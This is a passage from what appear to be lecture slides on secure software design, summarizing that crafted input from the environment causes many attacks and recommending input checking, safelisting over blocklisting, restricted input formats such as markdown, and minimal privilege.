- Example: Instead of supporting full document markup language, use a simple, restricted subset
 - E.g., markdown

Summary

- The source of **many** attacks is carefully crafted data fed to the application from the environment
- Common solution idea: all data from the environment should be checked and/or sanitized before it is used
 - Safelisting preferred to blocklisting secure default
 - Checking preferred to sanitization less to trust
- Another key idea: Minimize privilege